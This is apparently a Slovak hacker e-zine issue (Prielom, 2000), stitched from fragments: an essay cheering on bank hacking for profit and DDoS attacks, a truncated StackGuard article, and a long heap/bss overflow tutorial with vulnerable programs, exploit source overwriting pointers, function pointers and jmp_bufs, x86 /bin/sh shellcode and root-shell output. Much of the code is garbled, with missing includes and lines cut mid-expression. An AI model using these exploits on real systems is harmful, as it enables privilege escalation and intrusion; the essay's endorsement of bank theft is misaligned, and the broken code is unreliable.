    neurekom. statistika hovori, ze kazdy treti den sa objavi novy security
    bug vo Windowse NT. ked hovorim o potrebe byt neustale up-to-date,
    nepoukazujem len na povahovy rozdiel hackera prahnuceho po informaciach
    od znudeneho admina s na_setko_serem strategiou. stale totiz existuje
    principialny rozdiel medzi ochotou zdielat security informacie v tychto
    dvoch rozdielnych svetoch. kym hacker nadsene zdiela svoju informaciu s
    internetovou komunitou, komercna firma, ak aj nieco najde si to radsej
    necha pre seba. internet security je boj o to, kto je informovanejsi a u
    nas su na cele peletonu hackeri s dalekym naskokom pred hlavnou skupinou
    cyklistov. vacsina adminov odstupila z pretekov pred prvym stupakom a
    popijaju v bufete.


    prenosy dat medzi bankami su sifrovane a je nepravdepodobne, ze by sa nam
    podarilo zlomit sifru ktoru pouzivaju. nie, ze by to bolo nemozne.
    dejiny su plne pripadov kedy sa prelomila "neprelomitelna sifra".
    spytajte sa vyrobcov mobilnych telefonov, medialnych firiem ktore
    vyrabaju DVD, alebo hocijaka firma, ktora pouzivala DES enkrypciu. Vacsina
    bank v dnesnej dobe pouziva triple-DES, na prelomenie ktorej, by udajne
    bolo treba "mimozemsku technologiu". my ale nepotrebuje crackovat
    triple-DES. dokazeme zistit heslo zamestnanca, alebo zachytit informaciu
    pred tym ako sa zasifruje.


    v anglicku sa napriklad stal pripad, ze pracovnicka banky zistila, ze
    zmena adresy majitela uctu sa nikam nezaznamenava. takze si zmenila
    adresy niekolkych klientov banky na svoju vlastnu adresu kratko pred
    koncom mesiaca, dostala postou ich seky, a potom adresy zmenila naspat.
    robila to pocas desiatich rokov, potom ju chytili.


    dokaze sa banka ochranit proti distribuovanemu DoS utoku cez internet ?
    nie. a nech vas nemyli fakt, ze sa v cechach alebo na slovensku este
    nezaznamenal rozsiahly utok podobny nedavnym utokom v USA na yahoo.com a
    dalsie sajty. programy ako "extended trinu" sa daju stiahnut vselikde a
    na ich spustenie je akurat treba mat podchytenych desiatky alebo stovky
    masin. v usa takymto utokom vyrazne pomohli domaci uzivatelia na rychlych
    pevnych linkach (cez kablovu televiziu a pod.) so zle zabezpecenymi
    PCkami. to nas este len caka - UPC ohlasila start internetu cez kablovku
    v centre Bratislavy na jar buduceho roku. okamzite budu pribudat stovky
    vhodnych kandidatov na "otrokov" distribuovanych utokov - rychla linka a
    zle zabezpecene PCko (rozumej - defaultne nainstalovane windowsy)


    ak - alebo, povedzme si uprimne - ked sa na slovensku stane prvy velky
    hack banky, o ktorom sa bude verejne vediet, vacsina ostatnych bank
    pravdepodobne zvysi uroven zabezpecenia tak, ze asi nebude mat zmysel ist
    po nich. alebo aspon nie dovtedy, kym je na internete tolko dalsich
    prachatych firiem s ovela mensim zabezpecenim, ktore ponukaju drahy tovar,
    zaujimave data, cisla kreditiek, platby za fiktivne sluzby, a tak dalej.


    z pohladu hackera chvalabohu je iba malo IT firiem, ktore si bezpecnost
    kladu ako jeden z najhlavnejsich kriterii pri tvorbe softveru. takze
    aspon v dohladnej buducnosti sa bude nachadzat stale dostatok
    bezpecnostnych dier. preto ked si oddychneme na vile v grenade a vratime
    sa o nejaky ten rok na slovensko aby sme zase zarobili hackovanim, opat
    sa skvele namastime.




    pajkus
    ..s pouzitim vselijakych zdrojov..




    navrat na obsah




    exploitovanie cez plt (procedure linkage table) a got (global offset table)


    Ciel


    Objasnit mozne sposoby exploitovania nezasobnikovych overflowov (systemy
    chranene StackGuardom, StackShieldom, non-executable stackom).


    StackGuard


    Klasicky exploit je postaveny na modifikovani navratovej adresy prepisanim
    lokalnych premennych, alebo bufra. Vedlajsi efekt takehoto typickeho
    zasobnikoveho overflowu je, ze znicime/modifikujeme vsetky data na zasobniku
    od prepisovaneho bufra az po navratovu adresu. Viacmenej nas to nemusi
    trapit, vzhladom k tomu, ze spustenie shellcodu (nejaky ten setuid, exec
    syscall) nevyzaduje pritomnost tychto dat. Problem by mohol nastat v pripade,
    ze modifikujeme navratovu adresu za adresu glibc funkcie (strcpy, system,
    exec), kedy je nevyhnutne, aby sa tato funkcia zavolala s presne nastavenymi
    hodnotami vstupnych argumentov (bud v registroch, alebo v zasobniku) a
    neposkodenym EBP.
    Princip StackGuardu je jednoduchy. Uklada sa "canary" slovo hned vedla
    navratovej adresy v zasobniku. Ked je hodnota "canary" slova po navrate
    z funkcie zmenena, zaznamena sa pokus o overflowovanie zasobnika, program
    zaloguje vystrahu o danej snahe do syslogu a skonci.


    Zasobnik vyzera asi takto :

    	...				    ...
    |-----------------------------------|
    | parametre predavane funkcii |
    |-----------------------------------|
    | navratova adresa funkcie (RET) |
    |-----------------------------------|
    | "canary" slovo |
    |-----------------------------------|
    | lokalny frame pointer (%ebp) |
    |-----------------------------------|
    | lokalne premenne |
    |-----------------------------------|
    ... ...

    Na to, aby ochrana bola ucinna, utocnik nemoze mat moznost naspoofovat
    "canary" slovo nejakou hodnotou vlozenou do zasobnika cez overflowovany
    retazec. Stackguard pouziva proti takemuto moznemu spoofvaniu dve metody :
    "terminator" a "random".

    Terminator canary obsahuje znaky NULL(0x00), CR (0x0d), LF (0x0a) a EOF (0xff)
    - 4 znaky, ktore zabezpecia prerusenie vacsiny retazcovych operacii (strcpy,
    sprintf...) a znizia riziko uspesneho overflowu.

    Random hodnota sa vybera nahodne v okamihu pustenia programu. Tym padom utocnik
    nemoze zistit tuto hodnotu prehladanim tela binarneho suboru. Nahodna hodnota
    sa berie z /dev/urandom (ak je k dispozicii) alebo sa vytvori hashovanim
    casu a datumu dna (ak /dev/urandom nie je systemom podporovany). Nahodnost
    je povacsine dostatocna na to, aby sme zabranili vacsine moznych snah o
    overflow.

    Novsie verzie StackGuardu podporuju tzv. XOR Random Canary mechanizmus, kedy
    sa xoruje nahodne (random value) hodnota s navratovou adresou funkcie. Canary
    valid

    0000010100000001000001020061730200619271
    pajkus
     pajkus      03.03.2004 - 13:40:50 , level: 1, UP   NEW




    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #14, 29.02.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





    obsah
     



    intro

    heap/bss overflowy

    velka kyberneticka vojna roku 2002 [dokoncenie]

    .cz a .sk free mail servery

    trojske kone v exploitoch

    back orifice 2000 (show some control)

    kybersaman [prva cast]







    intro


    otvoril som dvere a vysiel von pred chatu. nic, ziaden rozdiel. stale ten isty
    clovek. iba zima sa mi zrazu zdala byt akasi ozajstnejsia ako cez okno. dalsie
    cislo, nic viac. mnozstvo ludi bolo zrejme sklamanych a rozcarovanych. ziaden
    koniec sveta, ziadna celosvetova katastrofa sposobena y2k bugom. iba dalsi zo
    stupidnych zaciatkov kalendarneho roku podla gregorianskeho kalendara.


    posledne dni tohto roku (zamerne nie tisicrocia, podla mna vsetko zacina cislom
    1 a nie 0) som sa rozhodol stravit tak trochu mimo civilizacie. ani nie zo
    strachu pred y2k, i ked dreva do krbu sme mali dost a petrolejky boli plne,(len
    so zasobami potravin to bolo horsie) ale clovek obcas potrebuje vypnut a moje
    rozhodnutie, ze aspon tyzden sa pocitaca nedotknem, sa mi podarilo zdarne
    dotiahnut do konca. aj vdaka tomu, ze som sa uspesne vyhol navsteve martinskej
    fakultnej nemocnice, sa mozete zacitat do dalsieho cisla prielomu.


    ps. abba a beatles su vecni. bohuzial...


    po miernom zdrzani sposobenym skuskovym obdobim a celkovou zaneprazdnenostou na
    nas caka vycerpavajuci a rozsiahly uvod do heap/bss overflowov od wildera,
    nasledovany iste uz netrpezlivo ocakavanou druhou (a poslednou) castou uryvku z
    knihy velka kyberneticka vojna roku 2002. pozrieme sa trochu pod kozu
    autentifikacnym systemom pouzivanych free mail servermi na slovensku a v cechach
    (prilozeny aj exploit, v sucasnosti uz nepouzitelny ale ako nazorna ukazka
    postacujuci). uz par krat sa objavili v roznych security-related mail konferenciach
    exploity, ktore v skutocnosti neboli exploitmi ale trojskymi konmi. pozrieme sa ako
    na ne a proti nim. pri trojskych konoch este zostaneme - caka nas recenzia na bo2k.
    a na zaver trochu povodnej literarnej kyberpunkovej tvorby (na pokracovanie).



    salo, 01.01.00 martinske hole, 29.02.00 zilina




    heap/bss overflowy


    uvod:


    heap/bss zalozene overflowy su dost zvycajne v sucasnych aplikaciach, este
    stale su ale len vynimocne zverejnovane. spravime si "heap overflow" tutorial.
    v tomto clanku sa budeme odkazovat na "overflowy tykajuce sa stacku" ako
    "stack-based overflowy" ("stack overflow" je zavadzajuce) a overflowy tykajuce
    sa heap ako "heap-based overflowy". clanok by mal zabezpecit lepsie pochopenie
    heap-based overflowov vyuzitim niekolkych metod exploitovania, prikladov a par
    moznych rieseni. predpoklada sa vseobecne chapania pocitacovej architektury,
    asembleru, c a stack overflowu. napisali sme vsetky priklady a exploity v tomto
    clanku, ku vsetkym sa stahuje copyright.


    preco su heap/bss overflowy tak dolezite


    viacero systemovych predajcov pridava non-executable stack patche, alebo
    individualne aplikuje vlastne patche (napr. solar designerov non-executable
    stack patch), odlisna metoda prieniku je potrebna pre security konzultantov :))


    uvedieme si par prikladov:


    1. ked dame hladat slovo "heap" na bugtraqu, najdeme len 40 zhod, pokym
    "stack" sa zhoduje v 2300 pripadoch. tiez "stack overflow" dava dva krat
    viac zhod ako "heap"
    2. solaris (os vyvinuty sun microsystems), ako solaris 2.6 sparc zahrnuje
    "protect_stack" skript, ktory nie je ekvivalentny "protect_heap" skriptu
    (hoci bss nie je executable).
    3. existuje tiez "stackguard" (vyvinuty crispinom cowanom), ktory tiez
    vlastnostami nezodpoveda "heapguardu"
    4. pouzitie heap/bss-based overlowov je jedna z potencialnych metod na
    vytocenie stackguardu.
    5. niektori ludia v sucasnosti navrhuju ako riesenie vytvorenie "lokalneho"
    bufra a "statickeho" bufra. nie je to velmi mudre, je to obycajne nespravna
    predstava o tom, ako heap a bss pracuje.


    hoci heap-based overflowy nie su nic nove, neboli doteraz dobre pochopene.
    ludia robia vsetko preto, aby sa uchranili pred stack-based overflowmi, ale
    nemyslia vobec na heap/bss. na viacerych systemoch, heap aj bss su vykonatelne
    (executable) a zapisovatelne (writeable) [ skvela kombinacia ]. toto robi
    heap/bss overflowy velmi pravdepodobne. neexistuje vsak pricina, preco by malo
    byt bss vykonatelne. co sa bude spustat v nulami vyplnenej pamati?
    pre vsetkych ludi od security, najviac heap-based overflowov su systemovo a
    platformovo nezavisle, vratane non-executable heaps. vsetko to bude
    demonstrovane v kapitole "exploitovanie heap/bss overflowov".


    terminologia


    vykonatelny subor, ako elf (executable and linking format) ma niekolko casti
    v executable subore, ako je plt (procedure linking table), got (global offset
    table), init (instrukcie vykonane pri inicializacii), fini (instrukcie, ktore
    budu vykonane po skonceni), a ctors a dtors (obsahuje globalne
    konstruktory/destruktory).

    "pamat, ktora je dynamicky alokovana aplikaciou nazyvame heap."
    slovo "aplikaciou" je velmi dolezite, pretoze na dobrych systemoch najviac
    oblasti je v skutocnosti alokovane na urovni kernelu, pokym pri heap je
    alokovanie vyziadane aplikaciou.


    heap a data/bss sekcie


    heap je teda oblast v pamati, ktora je dynamicky alokovana aplikaciou. data
    sekcia je inicializovana v case kompilacie. bss sekcia obsahuje neinicializovane
    data a je alokovana pocas behu. pokym sa tam nieco nezapise, zostava to
    vynulovane (teda aspon z pohladu aplikacie). ked sa budeme v kapitole nizsie
    odkazovat na "heap-based oveflowy", myslime tym sucasne heap/bss sekcie.
    na vacsine systemoch, heap rastie hore (smerom k vyssim adresam). preto, ked
    poviem, ze x je pod y, znamena to, ze x je v pamati nizsie ako y.


    exploitovanie heap/bss overflowov


    v tejto kapitole si ukazeme niekolko odlisnych metod na mozne vyuzitie heap/bss
    overflowov. najviac prikladov je pre unixove x86 systemy, tiez to pobezi pod
    dosom a windozami (s mensimi obmenami). tiez sme obsiahli niekolko dos/windows
    specifickych exploitovacich metod.

    v tomto clanku pouzivame "exact offset" pristup. offset musi byt najblizsie
    aproximovany k jeho skutocnej hodnote. alternativou je "stack-based overflow
    pristup", kedy sa opakuju adresy na zvysenie pravdepodobnosti uspesnosti
    exploitu.


    nasledujuci priklad moze vyzerat zbytocny, predkladame ho len pre tych, ktori
    nie su oboznameni s heap-based overflowmi. takze kratka ukazka:



    /* demonstrates dynamic overflow in heap (initialized data) */

    #include
    #include
    #include
    #include

    #define bufsize 16
    #define oversize 8 /* overflow buf2 by oversize bytes */

    int main()
    {
    u_long diff;
    char *buf1 = (char *)malloc(bufsize), *buf2 = (char *)malloc(bufsize);

    diff = (u_long)buf2 - (u_long)buf1;
    printf("buf1 = %p, buf2 = %p, diff = 0x%x bytesn", buf1, buf2, diff);

    memset(buf2, 'a', bufsize-1), buf2[bufsize-1] = '';

    printf("before overflow: buf2 = %sn", buf2);
    memset(buf1, 'b', (u_int)(diff + oversize));
    printf("after overflow: buf2 = %sn", buf2);

    return 0;
    }


    po spusteni dostaneme:


    [root /w00w00/heap/examples/basic]# ./heap1 8
    buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
    before overflow: buf2 = aaaaaaaaaaaaaaa
    after overflow: buf2 = bbbbbbbbaaaaaaa


    funguje to preto, lebo buf1 prepise hranice v oblasti buf2 heapu. pretoze
    oblast heap2 je stale spravna cast pamate (nic dolezite sme neprepisali),
    program nezleti.


    mozny fix pre heap-based overflowy (ktore budu spomenute neskor) je vlozit
    urcite hodnoty medzi vsetky premenne v heap oblasti (ako to robi stackguard
    spomenuty neskor), ktore nesmu byt zmenene pocas vykonania (execution).
    kompletny zdrojak so vsetkymi prikladmi pouzitych v tomto clanku je pristupny
    v archive clankov na
    http://www.w00w00.org/articles.html.


    na demonstrovanie bss-based overflowu, zmenime riadok:

    z: 'char *buf = malloc(bufsize)', na: 'static char buf[bufsize]'

    bol to velmi jednoduchy priklad, pretoze sme chceli demonstrovat heap overflow
    na najnizsom moznom stupni. to je zaklad takm vsetkych heap-based overflowov.
    mozeme to pouzit pri prepisani nazvu suboru, hesla, ulozeneho uid a tak dalej.
    tu je (stale jednoduchy) priklad s manipulaciou pointrami:



    /* demonstrates static pointer overflow in bss (uninitialized data) */

    #include
    #include
    #include
    #include
    #include

    #define bufsize 16
    #define addrlen 4 /* # of bytes in an address */

    int main()
    {
    u_long diff;
    static char buf[bufsize], *bufptr;

    bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

    printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
    &bufptr, bufptr, buf, diff, diff);

    memset(buf, 'a', (u_int)(diff + addrlen));

    printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
    &bufptr, bufptr, buf, diff, diff);

    return 0;
    }


    vysledky:


    [root /w00w00/heap/examples/basic]# ./heap3
    bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
    bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes


    po spusteni jasne vidime, ze pointer teraz ukazuje na odlisnu adresu. pouzitim
    coho? dalsi priklad je ukazkou toho, kedy mozeme prepisat docasne ulozeny
    pointer na nazov suboru na ukazovatel na uplne odlisny retazec (napr. argv[1]),
    co mozeme zabezpecit), pricom nas retazec moze obsahovat "/root/.rhosts".
    konecne vidime nejake mozne (vy/zne)uzitie.


    na demonstrovanie pouzijeme docasny subor na okamih ulozeny zo vstupu uzivatela.
    toto je nas dokonceny "vulnerable" program:



    /*
    * this is a typical vulnerable program. it will store user input in a
    * temporary file.
    *
    * compile as: gcc -o vulprog1 vulprog1.c
    */

    #include
    #include
    #include
    #include
    #include

    #define error -1
    #define bufsize 16

    /*
    * run this vulprog as root or change the "vulfile" to something else.
    * otherwise, even if the exploit works, it won't have permission to
    * overwrite /root/.rhosts (the default "example").
    */

    int main(int argc, char **argv)
    {
    file *tmpfd;
    static char buf[bufsize], *tmpfile;

    if (argc (i * 8) & 255);

    mainbufsize = strlen(buf) + strlen(vulprog) +
    strlen(vulprog) + strlen(vulfile) + 13;

    mainbuf = (char *)malloc(mainbufsize);
    memset(mainbuf, 0, sizeof(mainbuf));

    snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %sn",
    buf, vulprog, vulfile);

    printf("overflowing tmpaddr to point to %p, check %s after.nn",
    addr, vulfile);

    system(mainbuf);
    return 0;
    }

    poznamka (wilder):
    v takomto vydani mne osobne exploitik nebezal, vulfile som si nastavil iba
    na .rhosts a cele som to z gdb-ckoval, bezalo mi to pri offsete 428 (teda +-15)
    (rh6.0/glibc 2.1.1/kernel 2.2.9) [ pre tych, ktori si to chcu sfunkcnit ]


    vysledok po spusteni:


    [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330 (428)
    overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.

    before: tmpfile = /tmp/vulprog.tmp
    enter one line of data to put in /tmp/vulprog.tmp:
    after: tmpfile = /root/.rhosts

    a mame to. exploit prepisal buffer, ktory nas vulnerable program pouzival pre
    gets() vstup. na konci tohto buffra, sme hodili adresu, na ktorej sme
    predpokladali, ze lezi argv[1] tohto vulnerable programu. prepisali sme vsetko
    medzi overflowanym bufferom a tmpfile pointerom. nakoniec sme prepisali tmpfile
    pointer, ktory prestal ukazovat na nas tmpfile, ale na polozku argv[1] v nasom
    stacku. taktiez ak mame zdrojak nasho vulnerable programu (hmm..nestava sa to
    casto;-), mozeme pridat "printf()" na vytlacenie adries/offsetov medzi
    overflowovanymi datami (ten buffer) a cielovymi datami (pointer na konci)
    (napriklad 'printf("%p - %p = 0x%lx bytesn", buf2, buf1, (u_long)diff)').
    nanestastie, offsety sa zvycajne menia v case-kompilacie, ale mozme ich lahko
    prepocitat alebo pouzijeme offsety metodou "brute-force".


    potrebujeme spravnu adresu (argv[1]), obratime poradie bajtikov pre little
    endian systemy. little endian systemy pouzivaju najmenej vyznamny bajt ako prvy
    (x86 je little endian), teda 0x123456 je ulozeny v pamati ako 0x563412. ak to
    robime na big endian systemoch (ako sparc) tak sa na obratenie poradia bajtikov
    mozeme vykaslat. zatial ziadny z tychto prikladov nevyzadoval vykonatelny heap!
    ako sme spomenuli v casti "preco su heap/bss overflowy tak dolezite",
    predchadzajuce priklady boli (az na vynimku s poradim adresovych bajtov)
    systemovo/platformovo nezavisle. dost uzitocne pri exploitovani heap-based
    overflowov.


    so znalostou ako prepisovat pointre, ideme si ukazat ako modifikovat pointre
    funkcii. na exploitovanie pointerov funkcii vyzadujeme vykonatelny heap. pointer
    na funkciu (napr. "int (*funcptr)(char *str)") povoluje programatorom dynamicky
    modifikovat funkciu, ktora bude volana. pointer na funkciu mozeme prepisat
    prepisanim jeho adresy, teda po prepisani sa zavola funkcia, ktorej pointer tam
    nastavime. pred vsetkym najskor vlozime nas shellcode. to mozme urobit
    nasledovne:


    1. argv[] metodou: ulozime shellcode ako argument programu (to vyzaduje
    executable stack)
    2. heap offsetovou metodou: offsetom z vrcholu heapu na predpokladanu adresu
    cieloveho/overflow bufra (vyzaduje executable heap)


    je vacsia pravdepodobnost, ze heap bude vykonatelny (executable) na danom
    systeme ako napriklad stack. teda heap metoda pobezi pravdepodobne castejsie.
    druha metoda je jednoducho uhadnut (to je dost neefektivne) adresu funkcie
    pouzitim predpokladaneho offsetu vo vulnerable programu. tiez, ak pozname adresu
    system() v nasom programe, bude pravdepodobne na velmi blizkom offsete v
    exploite, teda ak predpokladame, ze vulprog/exploit boli skompilovani zhruba
    rovnakym sposobom. vyhoda je, ze nic vykonatelne nie je nutne.


    dalsia metoda je pouzit plt (procedure linking table), ktora obsahuje adresy
    funkcii v plt. druhu metodu uprednostnime hlavne koli jednoduchosti. mozeme
    uhadnut offset volania system() vo vulprog z adresy system() v nasom exploite
    celkom rychlo. obdobne je to vo vzdialenych systemoch (predpokladame rovnake
    verzie, operacne systemy, platformy). s metodou stacku mame tu vyhodu, ze
    prakticky mozme urobit, co chceme, teda nevyzadujeme kompatibilne pointre na
    funkcie (napr. char (*funcptr)(int a) a void (*funcptr)() pobezi rovnako).
    nevyhoda stackovej metody je ze vyzadujeme executable stack.


    nas vulnerable program pre nase 2 exploity:



    /*
    * just the vulnerable program we will exploit.
    * compile as: gcc -o vulprog vulprog.c (or change exploit macros)
    */

    #include
    #include
    #include
    #include

    #define error -1
    #define bufsize 64

    int goodfunc(const char *str); /* funcptr starts out as this */

    int main(int argc, char **argv)
    {
    static char buf[bufsize];
    static int (*funcptr)(const char *str);

    if (argc (i * 8)) & 255;

    execl(vulprog, vulprog, buf, cmd, null);
    return 0;
    }

    ked to spustime s offsetom 16 (na mojej masine 12) dostaneme:



    [root /w00w00/heap/examples]# ./exploit1 16
    trying system() at 0x80484d0
    (for 1st exploit) system() = 0x80484d0
    (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
    (for 2nd exploit, heap offset method) buf = 0x804a9a8

    before overflow: funcptr points to 0x8048770
    after overflow: funcptr points to 0x80484d0
    bash#

    druhy priklad (do zivota), ktory pouziva argv[] metodu (cez stack) a
    heap-metodu.



    /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * this demonstrates how to exploit a static buffer to point the
    * function pointer at argv[] to execute shellcode. this requires
    * an executable heap to succeed.
    *
    * the exploit takes two argumenst (the offset and "heap"/"stack").
    * for argv[] method, it's an estimated offset to argv[2] from
    * the stack top. for the heap offset method, it's an estimated offset
    * to the target/overflow buffer from the heap top.
    *
    * try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    *
    * to compile use: gcc -o exploit2 exploit2.c
    */

    #include
    #include
    #include
    #include

    #define error -1
    #define bufsize 64 /* estimated diff between buf/funcptr */

    #define vulprog "./vulprog" /* where the vulprog is */



    char shellcode[] = /* just aleph1's old shellcode (linux x86) */
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
    "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
    "x40xcdx80xe8xdcxffxffxff/bin/sh";

    u_long getesp()
    {
    __asm__("movl %esp,%eax"); /* set sp as return value */
    }

    int main(int argc, char **argv)
    {
    register int i;
    u_long sysaddr;
    char buf[bufsize + sizeof(u_long) + 1];

    if (argc > (i * 8)) & 255;

    execl(vulprog, vulprog, buf, shellcode, null);
    return 0;
    }

    po spusteni s offsetom 334 (pre mna 441) v argv[] metode dostaneme:



    [root /w00w00/heap/examples] ./exploit2 334 stack
    using stack for shellcode (requires exec. stack)
    using 0xbffffd16 as our argv[1] address

    (for 1st exploit) system() = 0x80484d0
    (for 2nd exploit, stack method) argv[2] = 0xbffffd16
    (for 2nd exploit, heap offset method) buf = 0x804a9a8

    before overflow: funcptr points to 0x8048770
    after overflow: funcptr points to 0xbffffd16
    bash#

    po spusteni s offsetom 428-442 (pre mna 516) heap offsetovom metodou dostaneme:



    [root /w00w00/heap/examples] ./exploit2 428 heap
    using heap buffer for shellcode (requires exec. heap)
    using 0x804a9a8 as our buffer's address

    (for 1st exploit) system() = 0x80484d0
    (for 2nd exploit, stack method) argv[2] = 0xbffffd16
    (for 2nd exploit, heap offset method) buf = 0x804a9a8

    before overflow: funcptr points to 0x8048770
    after overflow: funcptr points to 0x804a9a8
    bash#

    btw: svoje offsety udavam len informacne, vsetky sa tykaju (ako som uz spominal)
    konfiguracie rh 6.0 / glibc 2.1.1 / kernel 2.2.9, kompilacia gcc -ggdb -wall


    dalsia vyhoda heap metody je, ze mame sirsi adresovy rozsah. s argv[] (stack)
    metodou, musime byt presni. s heap offsetovou metodou, hocijaky offset s 428-442
    by mal ist. ako vidime, existuje niekolko odlisnych metod na exploitovanie
    jednej veci. ako pridavny bonus, si prilozime finalny typ exploitovania, ktory
    pouziva jmp_bufs (setjmp/longjmp). jmp_buf sa normalne uklada do stacku a neskor
    sa na to skace (pocas vykonania). ak mame moznost overflownut buffer medzi
    setjmp() a longjmp(), ktory je nad overflowujucim buffrom, tak existuje moznost
    exploitovania. mozeme nastavit emulaciu spravania stack-based overflowu (ako to
    robi argv[] shellcode metoda spomenuta skor). nasledujuci priklad (s jmp_buf) je
    pre x86 systemy. je to nutne prislusne zmenit pre ostatne platformy.


    najskor nas vulnerable program:



    /*
    * this is just a basic vulnerable program to demonstrate
    * how to overwrite/modify jmp_buf's to modify the course of
    * execution.
    */

    #include
    #include
    #include
    #include
    #include

    #define error -1
    #define bufsize 16

    static char buf[bufsize];
    jmp_buf jmpbuf;

    u_long getesp()
    {
    __asm__("movl %esp,%eax"); /* the return value goes in %eax */
    } int main(int argc, char **argv)
    {
    if (argc 0, we got here from longjmp() */
    {
    fprintf(stderr, "error: exploit didn't workn");
    exit(error);
    }
    /* v glibc 2.x.x je nutne pristupovat cez jmpbuf[jb_?x] k jednotlivym registrom jednotlive polozky __bx, __si, __di su totiz nezname
    printf("before:n");
    printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",
    jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

    printf("bp = %p, sp = %p, pc = %pnn",
    jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc); */

    strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */

    /*
    printf("after:n");
    printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",
    jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

    printf("bp = %p, sp = %p, pc = %pnn",
    jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);
    */
    longjmp(jmpbuf, 1);
    return 0;
    }

    a patricny exploit:



    /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
    * to emulate a stack-based overflow in the heap. by that i mean,
    * you would overflow the sp/pc of the jmpbuf. when longjmp() is
    * called, it will execute the next instruction at that address.
    * therefore, we can stick shellcode at this address (as the data/heap
    * section on most systems is executable), and it will be executed.
    *
    * this takes two arguments (offsets):
    * arg 1 - stack offset (should be about 25-45).
    * arg 2 - argv offset (should be about 310-330).
    */

    #include
    #include
    #include
    #include

    #define error -1
    #define bufsize 16

    #define vulprog "./vulprog4"

    char shellcode[] = /* just aleph1's old shellcode (linux x86) */
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
    "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
    "x40xcdx80xe8xdcxffxffxff/bin/sh";
    u_long getesp()
    {
    __asm__("movl %esp,%eax"); /* the return value goes in %eax */
    }

    int main(int argc, char **argv)
    {
    int stackaddr, argvaddr;
    register int index, i, j;

    char buf[bufsize + 24 + 1];

    if (argc > (i * 8)) & 255;
    }

    /* ----------------------------- */

    for (i = 0; i < sizeof(u_long); i++) /* setup sp */
    {
    index = bufsize + 20 + i;
    buf[index] = (stackaddr >> (i * 8)) & 255;
    }


    /* ----------------------------- */

    for (i = 0; i < sizeof(u_long); i++) /* setup pc */
    {
    index = bufsize + 24 + i;
    buf[index] = (argvaddr >> (i * 8)) & 255;
    }

    execl(vulprog, vulprog, buf, shellcode, null);
    return 0;
    }

    mne osobne sa tento exploit nepodarilo rozbehat ani pri umornom gdb-ckovani.
    strukturu jmpbuf, ktoru prepisujeme sa sklada postupne z poloziek ebx, esi, edi,
    ebp, esp, pc (dokopy 24 bajtov + nejake flagy, ktore nas nezaujimaju), nasim
    buffrom prepisujeme len obsah ebp=esp a pc. pricom esp prepisame hodnotou nasho
    vulnerable programu (teda sa nic nestane) a pc prepiseme pointerom do stacku na
    argv[2], kde je nas shellcode. vsetko by to malo pekne bezat. v skutocnosti sa
    vyskytol problem, kedy struktura jmpbuf nie je hned zarovnana za nasim
    16-bajtovym overflowovanym buffrom (kompilator pre mna z cudesnych dovodov nam
    nechal medzeru 20 bajtov???), preto aj v exploite potom treba urobit patricne
    zmeny (buffsize += 20, okrem toho jednotlive polozky ebp, esp, pc nasleduju v
    strukture od 12,16,20 bajtu (nie 16,20,24 ako to je v exploite). po tychto
    upravach (to v debuggeri vyzeralo vsetko pekne), ale neslo to, nakolko
    jednotlive hodnoty registrov bez gdb boli vsetky ine. myslienka je ale spravna,
    a teoreticky by to malo slapat po spusteni so stack offsetom 36 argv[2] offsetom
    322 by sme mali dostat:



    [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
    trying address 0xbffffcf6 for argv[2]
    trying address 0xbffffb90 for sp

    [vulprog] argv[2] = 0xbffffcf6
    [vulprog] sp = 0xbffffb90

    before:
    bx = 0x0, si = 0x40001fb0, di = 0x4000000f
    bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715

    after:
    bx = 0x1010101, si = 0x1010101, di = 0x1010101
    bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6

    bash#

    existuju citlive data na heape, ktore mozu byt overflowovane. napriklad:

    funkcia: pricina:
    1. *gets()/*printf(), *scanf() __iob (file) structure in heap
    2. popen() __iob (file) structure in heap
    3. *dir() (readdir, seekdir, ...) dir entries (dir/heap buffers)
    4. atexit() static/global function pointers
    5. strdup() allocates dynamic data in the heap
    7. getenv() stored data on heap
    8. tmpnam() stored data on heap
    9. malloc() chain pointers
    10. rpc callback functions function pointers
    11. windows callback functions func pointers kept on heap
    12. signal handler pointers function pointers (note: unix tracks
    in cygnus (gcc for win), these in the kernel, not in the heap)

    mozeme sa teraz pozriet na pouzitie tychto funkcii. miesto alokovane pre file
    struktury vo funkciach ako printf(), fget(), readdir(), seekdir() atd. sa da
